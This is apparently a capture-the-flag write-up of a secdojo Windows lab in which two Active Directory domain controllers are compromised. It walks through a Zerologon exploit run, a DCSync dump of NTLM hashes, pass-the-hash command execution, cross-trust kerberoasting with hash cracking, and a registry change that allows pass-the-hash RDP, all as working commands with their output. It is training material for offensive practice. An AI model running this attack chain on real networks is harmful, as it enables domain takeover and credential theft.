EggShell: an Easy Windows machine from secdojo
Overview
A lab that tests your ability to identify and exploit known vulnerabilities in Windows Server environments. You will need to apply your skills in reconnaissance, enumeration, and lateral movement techniques to compromise the target Domain Controller and obtain sensitive information.
Reconnaissance
Note: This writeup moves quickly through reconnaissance. For a detailed breakdown of the recon methodology, see the Cascade writeup.
we have 2 machines, we have a linux machine at 10.8.0.100 and a domain controller 10.8.0.101. let’s run a basic nmap scan on both :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-30 21:46:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: caught.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds (workgroup: caught-local)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: caught.local, Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Caught.caught.local
| Issuer: commonName=Caught.caught.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-29T21:40:44
| Not valid after: 2026-09-28T21:40:44
| MD5: e276 7e48 c998 82a1 7d72 4d13 a085 dcf4
| SHA-1: 994e 7b15 4d3b 61af 13e4 2b93 ec85 c593 21e9 61dd
|_SHA-256: 9164 7ac7 4b2b 0bb3 5685 96ef 0b64 e34c 9768 65b1 8ee8 5326 5fec 8e9e efc9 05e8
|_ssl-date: 2026-03-30T21:48:21+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: caught-local
| NetBIOS_Domain_Name: caught-local
| NetBIOS_Computer_Name: CAUGHT
| DNS_Domain_Name: caught.local
| DNS_Computer_Name: Caught.caught.local
| DNS_Tree_Name: caught.local
| Product_Version: 10.0.14393
|_ System_Time: 2026-03-30T21:48:13+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/wsmans?
|_ssl-date: 2026-03-30T21:48:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=CAUGHT
| Subject Alternative Name: DNS:CAUGHT, DNS:Caught.caught.local
| Issuer: commonName=CAUGHT
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-26T14:09:42
| Not valid after: 2027-05-26T14:09:42
| MD5: b3ce 1c02 4804 6fae 08df e06f 34db c8d9
| SHA-1: 5094 0644 3adf 8d8e 33ed 7f45 df75 f987 591d 5a5a
|_SHA-256: 0d09 80c9 9d74 fef7 3f7f 14ba 1624 8e9d f6a9 ff5e f15e a38b 1a39 8a26 2daf 31c7
| tls-alpn:
| h2
|_ http/1.1
and :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-30 21:47:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: lab.secdojo.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds (workgroup: LAB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: lab.secdojo.local, Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=srv-dc1.lab.secdojo.local
| Issuer: commonName=srv-dc1.lab.secdojo.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-29T21:40:48
| Not valid after: 2026-09-28T21:40:48
| MD5: abec c865 d7ad 6736 eb76 31e4 58c0 befc
| SHA-1: 13cd 95a8 7125 fb9e a42e ef72 66fa b53d e12e debf
|_SHA-256: 861a 23cd a118 5199 d2d1 8a04 947c b44f 018b 609b 657f cad8 86c9 218d 68cb 5c8d
| rdp-ntlm-info:
| Target_Name: LAB
| NetBIOS_Domain_Name: LAB
| NetBIOS_Computer_Name: SRV-DC1
| DNS_Domain_Name: lab.secdojo.local
| DNS_Computer_Name: srv-dc1.lab.secdojo.local
| DNS_Tree_Name: lab.secdojo.local
| Product_Version: 10.0.14393
|_ System_Time: 2026-03-30T21:48:25+00:00
|_ssl-date: 2026-03-30T21:49:01+00:00; +1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/wsmans?
| ssl-cert: Subject: commonName=SRV-DC1
| Subject Alternative Name: DNS:SRV-DC1, DNS:srv-dc1.lab.secdojo.local
| Issuer: commonName=SRV-DC1
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-23T16:30:59
| Not valid after: 2023-07-23T16:30:59
| MD5: a479 c6aa 2e17 6abc f32c 83f1 6f68 ef9a
| SHA-1: 13f7 fd4c f7e8 fc57 b219 1dbc 9f9a b271 1f3a 6777
|_SHA-256: cd7e eeb1 2fbc 1fb0 c5d6 c918 a829 eb1d 90e3 235b de5e 7f04 435d 5ed2 0a29 ef8c
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: 2026-03-30T21:49:01+00:00; +1s from scanner time.
Warning: OSScan results may be unreliabl
nothing out of line, casual DCs here, but something caught my attention here, both are Windows Server 2016 Datacenter 14393, so there is a change zerologon may work on one of them, it’s a CVE that would allow an instant pwn of the DC if it’s vulnerable to it, no special privileges needed, we can check with nxc.
let’s add these to our hosts file first :
1
2
10.8.0.101 CAUGHT.caught.local caught.local CAUGHT
10.8.0.100 SRV-DC1.lab.secdojo.local lab.secdojo.local SRV-DC1
and with nxc :
1
2
3
4
5
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc smb 10.8.0.100 -M zerologon
SMB 10.8.0.100 445 SRV-DC1 [*] Windows Server 2016 Datacenter 14393 x64 (name:SRV-DC1) (domain:lab.secdojo.local) (signing:True) (SMBv1:True) (Null Auth:True)
ZEROLOGON 10.8.0.100 445 SRV-DC1 VULNERABLE
ZEROLOGON 10.8.0.100 445 SRV-DC1 Next step: https://github.com/dirkjanm/CVE-2020-1472
jackpot and an easy win!
Exploitation :
we first get the exploit and then run it :
1
git clone https://github.com/dirkjanm/CVE-2020-1472.git
and run it:
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[/tmp/a/CVE-2020-1472]
└─$ python3 cve-2020-1472-exploit.py SRV-DC1 10.8.0.100
Performing authentication attempts...
===========================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================
Target vulnerable, changing account password to empty string
Result: 0
Exploit complete!
this took a while, now we just DCsync and dump the hashes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[/tmp/a]
└─$ impacket-secretsdump -no-pass SRV-DC1\$@10.8.0.100
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a6cf4e66d7fba60a999debe07bc31a5d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:164c2c62baca5631306fa88d1a603c8e:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab.secdojo.local\NGuillaume:1111:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab.secdojo.local\AFabre:1112:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab.secdojo.local\MRoger:1113:aad3b435b51404eeaad3b435b51404ee:58cd7d4dd5bd4960886ebc9cf1face6f:::
lab.secdojo.local\ACarpentier:1114:aad3b435b51404eeaad3b435b51404ee:52c8d886ffec5ffdcab4b87fe01c8c60:::
lab.secdojo.local\LFernandez:1115:aad3b435b51404eeaad3b435b51404ee:218dc58a57a6a7356391f7e9f011f148:::
lab.secdojo.local\NGaillard:1116:aad3b435b51404eeaad3b435b51404ee:bea555a433f01d87b3bd7ce996f30ee3:::
< SNIP >
well, these are a lot of users! now let’s get the first flag:
1
2
3
4
5
6
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc smb 10.8.0.100 -u administrator -H a6cf4e66d7fba60a999debe07bc31a5d -x 'type C:\Users\Administrator\Desktop\proof.txt'
SMB 10.8.0.100 445 SRV-DC1 [*] Windows Server 2016 Datacenter 14393 x64 (name:SRV-DC1) (domain:lab.secdojo.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.8.0.100 445 SRV-DC1 [+] lab.secdojo.local\administrator:a6cf4e66d7fba60a999debe07bc31a5d (Pwn3d!)
SMB 10.8.0.100 445 SRV-DC1 [+] Executed command via wmiexec
SMB 10.8.0.100 445 SRV-DC1 flag_4fb00c01_6915_4481_bdd1_66e24d9edf9e
Privilege Escalation
we have nothing to work with for the Caught host, but we have the dump from secretsdump let’s see if we’re lucky with any users in both domains, if not we’ll run bloodhound :
1
grep -oP '^[^:]+(?=:)' dump.txt | grep -v '^\[' | sed 's/.*\\//' | sort -u
- grep -oP ‘^[^:]+(?=:)’ — extracts everything before the first : on each line (the username field)
- grep -v ‘^[’ — drops lines like [*] Dumping Domain Credentials…
- sed ‘s/.*\//’ — strips the domain\ prefix
- sort -u — deduplicates and sorts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[/tmp/a]
└─$ wc -l users.txt
276 users.txt
┌──(kali㉿kali)-[/tmp/a]
└─$ cat users.txt|head
AAdam
AAdams
ABerlin
ABruch
ACarpentier
ACarr
Administrator
AEger
AFabre
AFaure
okay a dead end probably :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[/tmp/a]
└─$ kerbrute userenum --dc CAUGHT.caught.local --domain caught.local users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/30/26 - Ronnie Flathers @ropnop
2026/03/30 22:08:41 > Using KDC(s):
2026/03/30 22:08:41 > CAUGHT.caught.local:88
2026/03/30 22:08:42 > [+] VALID USERNAME: Administrator@caught.local
2026/03/30 22:08:47 > Done! Tested 276 usernames (1 valid) in 5.121 seconds
we collect now:
1
2
3
4
5
6
7
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc ldap 10.8.0.100 -u administrator -H a6cf4e66d7fba60a999debe07bc31a5d -d lab.secdojo.local --bloodhound --dns-server 10.8.0.100 -c All
LDAP 10.8.0.100 389 SRV-DC1 [*] Windows 10 / Server 2016 Build 14393 (name:SRV-DC1) (domain:lab.secdojo.local) (signing:None) (channel binding:No TLS cert)
LDAP 10.8.0.100 389 SRV-DC1 [+] lab.secdojo.local\administrator:a6cf4e66d7fba60a999debe07bc31a5d (Pwn3d!)
LDAP 10.8.0.100 389 SRV-DC1 Resolved collection methods: rdp, group, objectprops, acl, localadmin, container, dcom, trusts, session, psremote
LDAP 10.8.0.100 389 SRV-DC1 Done in 0M 33S
LDAP 10.8.0.100 389 SRV-DC1 Compressing output into /home/kali/.nxc/logs/SRV-DC1_10.8.0.100_2026-03-30_222418_bloodhound.zip
okay so there is a cross-forest trust between caught.local and lab.secdojo.local, and it’s biderectional. i don’t remember if we have cover this in any writeup, but let’s have fun, the first thing I’d try if we can kerberoast any users in the caught.local domain :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[/tmp/a]
└─$ impacket-GetUserSPNs -request -dc-ip 10.8.0.100 -target-domain caught.local lab.secdojo.local/administrator -hashes :a6cf4e66d7fba60a999debe07bc31a5d
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[!] KDC IP address and hostname will be ignored because of cross-domain targeting.
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------- ------- -------------------------------------------- -------------------------- --------- ----------
http/svc.caught.local MainSvc CN=Domain Admins,CN=Users,DC=caught,DC=local 2026-03-30 21:44:13.020599 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*MainSvc$CAUGHT.LOCAL$caught.local/MainSvc*$edd8f6510cf1b77d78c1201e3aefb439$9cdc5b881de5ec46d
<SNIP>
the attack was a success and we’ve got a hash to attempt cracking!
this didn’t crack using :
1
hashcat hash.txt /usr/share/wordlists/rockyou.txt
so next is :
1
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule
and now it cracks to : Password2010
now we have a user at caught.local, a powerful user :
1
2
3
4
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc smb 10.8.0.101 -u MainSvc -p Password2010
SMB 10.8.0.101 445 CAUGHT [*] Windows Server 2016 Datacenter 14393 x64 (name:CAUGHT) (domain:caught.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.8.0.101 445 CAUGHT [+] caught.local\MainSvc:Password2010 (Pwn3d!)
and the flag:
1
2
3
4
5
6
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc smb 10.8.0.101 -u MainSvc -p Password2010 -x 'type C:\Users\Administrator\Desktop\proof.txt'
SMB 10.8.0.101 445 CAUGHT [*] Windows Server 2016 Datacenter 14393 x64 (name:CAUGHT) (domain:caught.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.8.0.101 445 CAUGHT [+] caught.local\MainSvc:Password2010 (Pwn3d!)
SMB 10.8.0.101 445 CAUGHT [+] Executed command via wmiexec
SMB 10.8.0.101 445 CAUGHT flag_465d9174_83a6_490c_b17a_3460f0af8178
Beyond root :
even if the trust wasn’t biderectional we still could have pwned the caught.local domain, assume the trust was one way outbound from lab.secdojo.local to caught.local so users in caught.local can authenticate to lab.secdojo.local but not quite the opposite, let’s rdp, but first :
1
2
*Evil-WinRM* PS C:\Users\Administrator\Documents> reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
The operation completed successfully.
and rdp next :
1
xfreerdp /v:10.8.0.100 /u:administrator /pth:a6cf4e66d7fba60a999debe07bc31a5d
even though we don’t have a user in caught.local, there is the trust account, it’s treated as a member of the domain users in caught.local by default and we got the trust keys and hashes, these work only across kerberos, we can do this using Rubeus.exe or just from out kali:
1
2
3
4
5
┌──(kali㉿kali)-[/tmp/a]
└─$ impacket-getTGT caught.local/'LAB$' -hashes :1ba75bab165142abae6c7b25377956cc -dc-ip 10.8.0.101
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in LAB$.ccache
now that we got a ticket, let’s export it :
1
export KRB5CCNAME=/tmp/a/LAB\$.ccache
and we kerberoast as a regular user from caught.local would have done :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[/tmp/a]
└─$ impacket-GetUserSPNs caught.local/'LAB$' -no-pass -k -dc-ip 10.8.0.101 -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting machine hostname
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------- ------- -------------------------------------------- -------------------------- --------- ----------
http/svc.caught.local MainSvc CN=Domain Admins,CN=Users,DC=caught,DC=local 2026-03-30 21:44:13.020599 <never>
$krb5tgs$23$*MainSvc$CAUGHT.LOCAL$caught.local/MainSvc*$7f6ba08714fc9af42f1a955d967b2810$9e45
<SNIP>
2c52533dfb
with this we can also run bloodhound and enumerate the caught.local domain further.
there are many ways to solve this after all … till next time if there is a chance to showcase them.



